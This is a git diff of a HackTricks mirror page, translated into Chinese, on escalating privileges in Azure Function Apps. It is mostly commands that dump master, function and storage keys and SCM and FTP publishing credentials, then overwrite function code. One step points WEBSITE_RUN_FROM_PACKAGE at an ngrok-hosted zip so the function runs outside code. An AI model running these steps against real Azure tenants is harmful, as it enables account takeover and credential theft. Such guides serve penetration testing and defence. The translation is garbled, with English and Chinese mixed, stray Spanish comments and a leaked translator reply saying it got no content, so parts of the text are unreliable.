mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-05 20:40:18 -08:00
Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala
This commit is contained in:
@@ -4,34 +4,35 @@
|
|||||||
|
|
||||||
## Function Apps
|
## Function Apps
|
||||||
|
|
||||||
查看以下页面以获取更多信息:
|
Check the following page for more information:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../az-services/az-function-apps.md
|
../az-services/az-function-apps.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### Bucket Read/Write
|
### Bucket 读/写
|
||||||
|
|
||||||
如果有权限读取存储函数数据的存储帐户中的容器,可以找到**不同的容器**(自定义或预定义名称),这些容器可能包含**函数执行的代码**。
|
如果有权限读取存放函数数据的 Storage Account 中的容器,就可能找到可能包含 **函数执行的代码** 的**不同容器**(自定义的或预定义名称的容器)。
|
||||||
|
|
||||||
一旦找到函数代码的位置,如果对其具有写入权限,可以使函数执行任何代码,并提升到附加到函数的托管身份的权限。
|
一旦找到函数代码的存放位置,且对其具有写权限,就可以让函数执行任意代码,从而提升对附加到该函数的 managed identities 的权限。
|
||||||
|
|
||||||
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` 和 `WEBSITE_CONTENTSHARE`)
|
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE)`
|
||||||
|
|
||||||
函数的代码通常存储在文件共享中。拥有足够的访问权限后,可以修改代码文件并**使函数加载任意代码**,从而提升到附加到函数的托管身份的权限。
|
|
||||||
|
|
||||||
此部署方法通常配置设置**`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`**和**`WEBSITE_CONTENTSHARE`**,您可以从
|
函数的代码通常存储在 file share 中。只要有足够的访问权限,就可以修改代码文件并**使函数加载任意代码**,从而提升附加到该 Function 的 managed identities 的权限。
|
||||||
|
|
||||||
|
这种部署方式通常会配置设置 **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** 和 **`WEBSITE_CONTENTSHARE`**,你可以从
|
||||||
```bash
|
```bash
|
||||||
az functionapp config appsettings list \
|
az functionapp config appsettings list \
|
||||||
--name <app-name> \
|
--name <app-name> \
|
||||||
--resource-group <res-group>
|
--resource-group <res-group>
|
||||||
```
|
```
|
||||||
这些配置将包含 **Storage Account Key**,函数可以使用它来访问代码。
|
这些配置将包含 **Storage Account Key**,Function 可以使用它来访问代码。
|
||||||
|
|
||||||
> [!CAUTION]
|
> [!CAUTION]
|
||||||
> 如果有足够的权限连接到文件共享并 **修改正在运行的脚本**,则可以在函数中执行任意代码并提升权限。
|
> 如果拥有足够的权限连接到 File Share 并 **修改正在运行的脚本**,就可能在 Function 中执行任意代码并提升权限。
|
||||||
|
|
||||||
以下示例使用 macOS 连接到文件共享,但建议还查看以下页面以获取有关文件共享的更多信息:
|
下面的示例使用 macOS 连接到 file share,但建议也查看以下页面以获取有关 file shares 的更多信息:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../az-services/az-file-shares.md
|
../az-services/az-file-shares.md
|
||||||
@@ -47,26 +48,26 @@ open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
|
|||||||
```
|
```
|
||||||
- **`function-releases`** (`WEBSITE_RUN_FROM_PACKAGE`)
|
- **`function-releases`** (`WEBSITE_RUN_FROM_PACKAGE`)
|
||||||
|
|
||||||
通常可以在函数应用使用的存储帐户容器的文件夹 `function-releases` 中找到 **zip 发布**,该容器通常被称为 `function-releases`。
|
通常也常见在 function app 所使用的 Storage Account 容器中的 `function-releases` 文件夹里找到这些 zip 发布包,该容器通常被命名为 `function-releases`。
|
||||||
|
|
||||||
通常,这种部署方法会在以下位置设置 `WEBSITE_RUN_FROM_PACKAGE` 配置:
|
通常这种部署方式会在以下位置设置 `WEBSITE_RUN_FROM_PACKAGE` 配置:
|
||||||
```bash
|
```bash
|
||||||
az functionapp config appsettings list \
|
az functionapp config appsettings list \
|
||||||
--name <app-name> \
|
--name <app-name> \
|
||||||
--resource-group <res-group>
|
--resource-group <res-group>
|
||||||
```
|
```
|
||||||
此配置通常会包含一个 **SAS URL 以下载** 存储帐户中的代码。
|
This config will usually contain a **SAS URL to download** the code from the Storage Account.
|
||||||
|
|
||||||
> [!CAUTION]
|
> [!CAUTION]
|
||||||
> 只要有足够的权限连接到 **包含 zip 中代码** 的 blob 容器,就可以在函数中执行任意代码并提升权限。
|
> 拥有足够权限连接到 blob container that **contains the code in zip**,就可能在 Function 中执行任意代码并提升权限。
|
||||||
|
|
||||||
- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE)`
|
- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE`)
|
||||||
|
|
||||||
就像在前一个案例中一样,如果通过 Github Actions 进行部署,可以在存储帐户中找到包含代码 zip 的文件夹 **`github-actions-deploy`**,以及设置 `WEBSITE_RUN_FROM_PACKAGE` 中的 zip 的 SAS URL。
|
与前一种情况类似,如果部署是通过 Github Actions 完成的,可能会在 Storage Account 中找到文件夹 **`github-actions-deploy`**,其中包含代码的 zip,并且在设置 `WEBSITE_RUN_FROM_PACKAGE` 中有指向该 zip 的 SAS URL。
|
||||||
|
|
||||||
- **`scm-releases`**`(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` 和 `WEBSITE_CONTENTSHARE`)
|
- **`scm-releases`**(`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE`)
|
||||||
|
|
||||||
拥有读取存储帐户中存储函数数据的容器的权限,可以找到容器 **`scm-releases`**。在这里可以找到最新的发布,格式为 **Squashfs 文件系统文件格式**,因此可以读取函数的代码:
|
如果有权限读取存储 function 数据的 Storage Account 内的容器,就可以找到容器 **`scm-releases`**。在其中可以找到以 **Squashfs filesystem file format** 存储的最新版本,因此可以读取该 function 的代码:
|
||||||
```bash
|
```bash
|
||||||
# List containers inside the storage account of the function app
|
# List containers inside the storage account of the function app
|
||||||
az storage container list \
|
az storage container list \
|
||||||
@@ -98,10 +99,10 @@ unsquashfs -l "/tmp/scm-latest-<app-name>.zip"
|
|||||||
mkdir /tmp/fs
|
mkdir /tmp/fs
|
||||||
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip
|
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip
|
||||||
```
|
```
|
||||||
可以在存储帐户的容器 **`azure-webjobs-secrets`** 中找到存储的 **master 和 functions keys**,这些密钥位于 **`<app-name>`** 文件夹中的 JSON 文件内。
|
还可以在 storage account 中找到存储的 **master and functions keys**,位于容器 **`azure-webjobs-secrets`** 的 **`<app-name>`** 文件夹内的 JSON files 中。
|
||||||
|
|
||||||
> [!CAUTION]
|
> [!CAUTION]
|
||||||
> 只要有足够的权限连接到 **包含 zip 扩展文件的 blob 容器**(实际上是 **`squashfs`**),就可以在 Function 中执行任意代码并提升权限。
|
> 如果拥有足够权限连接到包含代码的 blob container(**contains the code in a zip extension file**(which actually is a **`squashfs`**)),就可能在 Function 中执行任意代码并 escalate privileges。
|
||||||
```bash
|
```bash
|
||||||
# Modify code inside the script in /tmp/fs adding your code
|
# Modify code inside the script in /tmp/fs adding your code
|
||||||
|
|
||||||
@@ -118,11 +119,11 @@ az storage blob upload \
|
|||||||
```
|
```
|
||||||
### `Microsoft.Web/sites/host/listkeys/action`
|
### `Microsoft.Web/sites/host/listkeys/action`
|
||||||
|
|
||||||
此权限允许列出指定函数的功能密钥、主密钥和系统密钥,但不包括主机密钥:
|
此权限允许列出指定函数的 function、master 和 system keys,但不包括 host key,可通过:
|
||||||
```bash
|
```bash
|
||||||
az functionapp keys list --resource-group <res_group> --name <func-name>
|
az functionapp keys list --resource-group <res_group> --name <func-name>
|
||||||
```
|
```
|
||||||
使用主密钥也可以获取源代码,URL 如下:
|
使用 master key 也可以通过类似以下的 URL 获取源代码:
|
||||||
```bash
|
```bash
|
||||||
# Get "script_href" from
|
# Get "script_href" from
|
||||||
az rest --method GET \
|
az rest --method GET \
|
||||||
@@ -130,62 +131,83 @@ az rest --method GET \
|
|||||||
|
|
||||||
# Access
|
# Access
|
||||||
curl "<script-href>?code=<master-key>"
|
curl "<script-href>?code=<master-key>"
|
||||||
## Python example:
|
# Python function app example
|
||||||
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v
|
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v
|
||||||
|
# JavaScript function app example
|
||||||
|
curl "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" -v
|
||||||
```
|
```
|
||||||
并要**更改正在执行的代码**在函数中:
|
并要使用以下方式**更改函数中正在执行的代码**:
|
||||||
```bash
|
```bash
|
||||||
# Set the code to set in the function in /tmp/function_app.py
|
# Set the code to set in the function in /tmp/function_app.py
|
||||||
## The following continues using the python example
|
## Python function app example
|
||||||
curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" \
|
curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" \
|
||||||
--data-binary @/tmp/function_app.py \
|
--data-binary @/tmp/function_app.py \
|
||||||
-H "Content-Type: application/json" \
|
-H "Content-Type: application/json" \
|
||||||
-H "If-Match: *" \
|
-H "If-Match: *" \
|
||||||
-v
|
-v
|
||||||
|
|
||||||
|
# NodeJS function app example
|
||||||
|
curl -X PUT "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" \
|
||||||
|
--data-binary @/tmp/index.js \
|
||||||
|
-H "Content-Type: application/json" \
|
||||||
|
-H "If-Match: *" \
|
||||||
|
-v
|
||||||
```
|
```
|
||||||
### `Microsoft.Web/sites/functions/listKeys/action`
|
### `Microsoft.Web/sites/functions/listKeys/action`
|
||||||
|
|
||||||
此权限允许获取指定函数的主密钥:
|
此权限允许通过以下方式获取指定函数的默认密钥:
|
||||||
```bash
|
```bash
|
||||||
az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"
|
az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"
|
||||||
```
|
```
|
||||||
|
使用获取的默认密钥调用函数:
|
||||||
|
```bash
|
||||||
|
curl "https://<app-name>.azurewebsites.net/api/<func-endpoint-name>?code=<default-key>"
|
||||||
|
```
|
||||||
### `Microsoft.Web/sites/host/functionKeys/write`
|
### `Microsoft.Web/sites/host/functionKeys/write`
|
||||||
|
|
||||||
此权限允许创建/更新指定函数的函数密钥:
|
此权限允许为指定函数创建或更新函数密钥,方式为:
|
||||||
```bash
|
```bash
|
||||||
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
|
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
|
||||||
```
|
```
|
||||||
### `Microsoft.Web/sites/host/masterKey/write`
|
### `Microsoft.Web/sites/host/masterKey/write`
|
||||||
|
|
||||||
此权限允许为指定的函数创建/更新主密钥:
|
此权限允许为指定的函数创建/更新主密钥,方法是:
|
||||||
```bash
|
```bash
|
||||||
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
|
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
|
||||||
```
|
```
|
||||||
> [!CAUTION]
|
> [!CAUTION]
|
||||||
> 请记住,使用此密钥您还可以访问源代码并按前面所述进行修改!
|
> 记住,使用此 key 你也可以访问源代码并按前面所述进行修改!
|
||||||
|
|
||||||
### `Microsoft.Web/sites/host/systemKeys/write`
|
### `Microsoft.Web/sites/host/systemKeys/write`
|
||||||
|
|
||||||
此权限允许为指定的函数创建/更新系统函数密钥:
|
此权限允许以以下方式为指定函数创建/更新系统 function key:
|
||||||
```bash
|
```bash
|
||||||
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
|
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
|
||||||
```
|
```
|
||||||
|
你还没有提供要翻译的内容或密钥。请粘贴文件内容或在“Use the key:”后提供密钥,我会按要求把相关英文翻译成中文。
|
||||||
|
```bash
|
||||||
|
# Ejemplo: Acceso a endpoints de Durable Functions
|
||||||
|
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/durabletask/instances?code=<system-key>"
|
||||||
|
|
||||||
|
# Ejemplo: Acceso a Event Grid webhooks
|
||||||
|
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/eventgrid?code=<system-key>"
|
||||||
|
```
|
||||||
### `Microsoft.Web/sites/config/list/action`
|
### `Microsoft.Web/sites/config/list/action`
|
||||||
|
|
||||||
此权限允许获取函数的设置。在这些配置中,可能会找到默认值 **`AzureWebJobsStorage`** 或 **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`**,其中包含一个 **访问函数的 blob 存储的帐户密钥,具有完全权限**。
|
此权限允许获取函数的设置。在这些配置中,可能会找到默认值 **`AzureWebJobsStorage`** 或 **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`**,其中包含用于以 FULL 权限访问该函数的 blob storage 的 account key。
|
||||||
```bash
|
```bash
|
||||||
az functionapp config appsettings list --name <func-name> --resource-group <res-group>
|
az functionapp config appsettings list --name <func-name> --resource-group <res-group>
|
||||||
```
|
```
|
||||||
此外,此权限还允许通过以下方式获取 **SCM 用户名和密码**(如果启用):
|
此外,此权限还允许获取 **SCM username and password**(如果已启用),方法如下:
|
||||||
```bash
|
```bash
|
||||||
az rest --method POST \
|
az rest --method POST \
|
||||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"
|
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"
|
||||||
```
|
```
|
||||||
### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/write`
|
### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/write`
|
||||||
|
|
||||||
这些权限允许列出函数的配置值,如我们之前所见,并且**修改这些值**。这很有用,因为这些设置指示了要在函数内部执行的代码的位置。
|
这些权限允许列出函数的配置值(如前所述),并且还能**修改这些值**。这很有用,因为这些设置指明了函数内部要执行的代码所在位置。
|
||||||
|
|
||||||
因此,可以设置**`WEBSITE_RUN_FROM_PACKAGE`**的值,指向包含要在Web应用程序内部执行的新代码的URL zip文件:
|
因此可以将设置 **`WEBSITE_RUN_FROM_PACKAGE`** 的值指向一个包含新代码的 URL zip 文件,从而在 web 应用中执行该新代码:
|
||||||
|
|
||||||
- 首先获取当前配置
|
- 首先获取当前配置
|
||||||
```bash
|
```bash
|
||||||
@@ -193,7 +215,7 @@ az functionapp config appsettings list \
|
|||||||
--name <app-name> \
|
--name <app-name> \
|
||||||
--resource-group <res-name>
|
--resource-group <res-name>
|
||||||
```
|
```
|
||||||
- 创建您希望函数运行的代码并公开托管它
|
- 创建你希望函数运行的代码并公开托管它
|
||||||
```bash
|
```bash
|
||||||
# Write inside /tmp/web/function_app.py the code of the function
|
# Write inside /tmp/web/function_app.py the code of the function
|
||||||
cd /tmp/web/function_app.py
|
cd /tmp/web/function_app.py
|
||||||
@@ -203,9 +225,9 @@ python3 -m http.server
|
|||||||
# Serve it using ngrok for example
|
# Serve it using ngrok for example
|
||||||
ngrok http 8000
|
ngrok http 8000
|
||||||
```
|
```
|
||||||
- 修改函数,保留之前的参数,并在最后添加配置 **`WEBSITE_RUN_FROM_PACKAGE`** 指向包含代码的 **zip** 的 URL。
|
- 修改函数,保留之前的参数,并在末尾添加配置 **`WEBSITE_RUN_FROM_PACKAGE`**,指向包含代码的 **zip** 的 URL。
|
||||||
|
|
||||||
以下是我的 **自定义设置,您需要更改值以适应您的设置**,请注意最后的值 `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`,这就是我托管应用程序的地方。
|
- 下面是我的 **示例设置(你需要将这些值替换为你自己的)**,注意末尾的值 `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`,这是我托管该应用的位置。
|
||||||
```bash
|
```bash
|
||||||
# Modify the function
|
# Modify the function
|
||||||
az rest --method PUT \
|
az rest --method PUT \
|
||||||
@@ -215,7 +237,7 @@ az rest --method PUT \
|
|||||||
```
|
```
|
||||||
### `Microsoft.Web/sites/hostruntime/vfs/write`
|
### `Microsoft.Web/sites/hostruntime/vfs/write`
|
||||||
|
|
||||||
通过此权限,可以**通过网络控制台(或通过以下 API 端点)修改应用程序的代码**:
|
有了此权限,就可以通过 web 控制台(或通过以下 API 端点)**修改应用程序的代码**:
|
||||||
```bash
|
```bash
|
||||||
# This is a python example, so we will be overwritting function_app.py
|
# This is a python example, so we will be overwritting function_app.py
|
||||||
# Store in /tmp/body the raw python code to put in the function
|
# Store in /tmp/body the raw python code to put in the function
|
||||||
@@ -223,10 +245,29 @@ az rest --method PUT \
|
|||||||
--uri "https://management.azure.com/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \
|
--uri "https://management.azure.com/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \
|
||||||
--headers '{"Content-Type": "application/json", "If-Match": "*"}' \
|
--headers '{"Content-Type": "application/json", "If-Match": "*"}' \
|
||||||
--body @/tmp/body
|
--body @/tmp/body
|
||||||
|
|
||||||
|
# Through the SCM URL (using Azure permissions or SCM creds)
|
||||||
|
az rest --method PUT \
|
||||||
|
--url "https://consumptionexample.scm.azurewebsites.net/api/vfs/site/wwwroot/HttpExample/index.js" \
|
||||||
|
--resource "https://management.azure.com/" \
|
||||||
|
--headers "If-Match=*" \
|
||||||
|
--body 'module.exports = async function (context, req) {
|
||||||
|
context.log("JavaScript HTTP trigger function processed a request. Training Demo 2");
|
||||||
|
|
||||||
|
const name = (req.query.name || (req.body && req.body.name));
|
||||||
|
const responseMessage = name
|
||||||
|
? "Hello, " + name + ". This HTTP triggered function executed successfully. Training Demo 2"
|
||||||
|
: "This HTTP triggered function executed successfully. Pass a name in the query string or in the request body for a personalized response. Training Demo 2";
|
||||||
|
|
||||||
|
context.res = {
|
||||||
|
// status: 200, /* Defaults to 200 */
|
||||||
|
body: responseMessage
|
||||||
|
};
|
||||||
|
}'
|
||||||
```
|
```
|
||||||
### `Microsoft.Web/sites/publishxml/action`, (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`)
|
### `Microsoft.Web/sites/publishxml/action`, (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`)
|
||||||
|
|
||||||
此权限允许列出所有发布配置文件,这些配置文件基本上包含 **基本身份验证凭据**:
|
该权限允许列出所有发布配置文件,这些基本上包含 **basic auth credentials**:
|
||||||
```bash
|
```bash
|
||||||
# Get creds
|
# Get creds
|
||||||
az functionapp deployment list-publishing-profiles \
|
az functionapp deployment list-publishing-profiles \
|
||||||
@@ -234,15 +275,15 @@ az functionapp deployment list-publishing-profiles \
|
|||||||
--resource-group <res-name> \
|
--resource-group <res-name> \
|
||||||
--output json
|
--output json
|
||||||
```
|
```
|
||||||
另一个选项是设置您自己的凭据并使用它们:
|
另一种选择是设置你自己的 creds 并使用它们:
|
||||||
```bash
|
```bash
|
||||||
az functionapp deployment user set \
|
az functionapp deployment user set \
|
||||||
--user-name DeployUser123456 g \
|
--user-name DeployUser123456 g \
|
||||||
--password 'P@ssw0rd123!'
|
--password 'P@ssw0rd123!'
|
||||||
```
|
```
|
||||||
- 如果**REDACTED**凭据
|
- 如果 **REDACTED** 凭据
|
||||||
|
|
||||||
如果您看到这些凭据是**REDACTED**,那是因为您**需要启用SCM基本身份验证选项**,为此您需要第二个权限(`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`
|
如果你看到这些凭据是 **REDACTED**,这是因为你 **need to enable the SCM basic authentication option**,为此你需要第二个权限 (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`
|
||||||
```bash
|
```bash
|
||||||
# Enable basic authentication for SCM
|
# Enable basic authentication for SCM
|
||||||
az rest --method PUT \
|
az rest --method PUT \
|
||||||
@@ -264,7 +305,7 @@ az rest --method PUT \
|
|||||||
```
|
```
|
||||||
- **方法 SCM**
|
- **方法 SCM**
|
||||||
|
|
||||||
然后,您可以使用这些 **基本身份验证凭据访问您的函数应用的 SCM URL** 并获取环境变量的值:
|
然后,您可以使用这些 **basic auth credentials to the SCM URL** 来访问您的 function app 的 SCM URL,并获取 env variables 的值:
|
||||||
```bash
|
```bash
|
||||||
# Get settings values
|
# Get settings values
|
||||||
curl -u '<username>:<password>' \
|
curl -u '<username>:<password>' \
|
||||||
@@ -275,11 +316,11 @@ zip function_app.zip function_app.py # Your code in function_app.py
|
|||||||
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
|
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
|
||||||
https://<app-name>.scm.azurewebsites.net/api/zipdeploy
|
https://<app-name>.scm.azurewebsites.net/api/zipdeploy
|
||||||
```
|
```
|
||||||
_请注意,**SCM 用户名** 通常是字符 "$" 后跟应用程序的名称,因此:`$<app-name>`。_
|
_注意 **SCM username** 通常是字符 "$" 后跟应用名称,所以:`$<app-name>`._
|
||||||
|
|
||||||
您还可以通过 `https://<app-name>.scm.azurewebsites.net/BasicAuth` 访问网页。
|
你也可以通过 `https://<app-name>.scm.azurewebsites.net/BasicAuth` 访问该网页
|
||||||
|
|
||||||
设置值包含存储函数应用数据的存储帐户的 **AccountKey**,允许控制该存储帐户。
|
设置值包含存储 function app 数据的存储帐户的 **AccountKey**,可用于控制该存储帐户。
|
||||||
|
|
||||||
- **方法 FTP**
|
- **方法 FTP**
|
||||||
|
|
||||||
@@ -297,19 +338,19 @@ ls # List
|
|||||||
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
|
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
|
||||||
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it
|
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it
|
||||||
```
|
```
|
||||||
_请注意,**FTP 用户名** 通常格式为 \<app-name>\\$\<app-name>。_
|
_请注意 **FTP username** 通常的格式是 \<app-name>\\$\<app-name>._
|
||||||
|
|
||||||
### `Microsoft.Web/sites/hostruntime/vfs/read`
|
### `Microsoft.Web/sites/hostruntime/vfs/read`
|
||||||
|
|
||||||
此权限允许通过 VFS **读取应用程序的源代码**:
|
此权限允许通过 VFS **读取应用的源代码**:
|
||||||
```bash
|
```bash
|
||||||
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
|
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
|
||||||
```
|
```
|
||||||
### `Microsoft.Web/sites/functions/token/action`
|
### `Microsoft.Web/sites/functions/token/action`
|
||||||
|
|
||||||
通过此权限,可以[获取 **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01),该令牌可以用于检索 **master key**,从而访问和修改函数的代码。
|
有了这个权限,可以 [get the **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01),随后可用于检索 **master key**,从而访问并修改函数的代码。
|
||||||
|
|
||||||
然而,在我最近的检查中没有返回任何令牌,因此它可能已被禁用或不再有效,但以下是您将如何操作:
|
然而,在我最近的检查中未返回任何 token,因此它可能已被禁用或不再可用,但下面是你可以如何操作:
|
||||||
```bash
|
```bash
|
||||||
# Get admin token
|
# Get admin token
|
||||||
az rest --method GET \
|
az rest --method GET \
|
||||||
@@ -321,7 +362,7 @@ curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
|
|||||||
```
|
```
|
||||||
### `Microsoft.Web/sites/config/write`, (`Microsoft.Web/sites/functions/properties/read`)
|
### `Microsoft.Web/sites/config/write`, (`Microsoft.Web/sites/functions/properties/read`)
|
||||||
|
|
||||||
此权限允许**启用可能被禁用的函数**(或禁用它们)。
|
此权限允许 **enable functions**(启用可能已被禁用的 functions,或将其禁用)。
|
||||||
```bash
|
```bash
|
||||||
# Enable a disabled function
|
# Enable a disabled function
|
||||||
az functionapp config appsettings set \
|
az functionapp config appsettings set \
|
||||||
@@ -329,13 +370,13 @@ az functionapp config appsettings set \
|
|||||||
--resource-group <res-group> \
|
--resource-group <res-group> \
|
||||||
--settings "AzureWebJobs.http_trigger1.Disabled=false"
|
--settings "AzureWebJobs.http_trigger1.Disabled=false"
|
||||||
```
|
```
|
||||||
可以在以下 URL 中查看函数是否启用或禁用(使用括号中的权限):
|
也可以通过以下 URL 查看函数是否已启用或禁用(括号中为所需权限):
|
||||||
```bash
|
```bash
|
||||||
az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"
|
az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"
|
||||||
```
|
```
|
||||||
### `Microsoft.Web/sites/config/write`, `Microsoft.Web/sites/config/list/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/read`)
|
### `Microsoft.Web/sites/config/write`, `Microsoft.Web/sites/config/list/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/read`)
|
||||||
|
|
||||||
拥有这些权限可以**修改由配置为运行容器的函数应用程序运行的容器**。这将允许攻击者将恶意的 azure 函数容器应用程序上传到 docker hub(例如)并使该函数执行它。
|
有了这些权限,可以**修改 function app 运行的容器**(该 function app 被配置为运行容器)。这将允许攻击者将一个恶意的 azure function container app 上传到 docker hub(例如),并让该函数去执行它。
|
||||||
```bash
|
```bash
|
||||||
az functionapp config container set --name <app-name> \
|
az functionapp config container set --name <app-name> \
|
||||||
--resource-group <res-group> \
|
--resource-group <res-group> \
|
||||||
@@ -343,7 +384,7 @@ az functionapp config container set --name <app-name> \
|
|||||||
```
|
```
|
||||||
### `Microsoft.Web/sites/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/operationresults/read`)
|
### `Microsoft.Web/sites/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/operationresults/read`)
|
||||||
|
|
||||||
拥有这些权限可以**将新的用户管理身份附加到函数**。如果函数被攻破,这将允许将权限提升到任何用户管理身份。
|
拥有这些权限可以**将新的 user managed identity 附加到一个 function**。如果该 function 被妥协,这将允许对任何 user managed identity 提权。
|
||||||
```bash
|
```bash
|
||||||
az functionapp identity assign \
|
az functionapp identity assign \
|
||||||
--name <app-name> \
|
--name <app-name> \
|
||||||
@@ -352,20 +393,20 @@ az functionapp identity assign \
|
|||||||
```
|
```
|
||||||
### 远程调试
|
### 远程调试
|
||||||
|
|
||||||
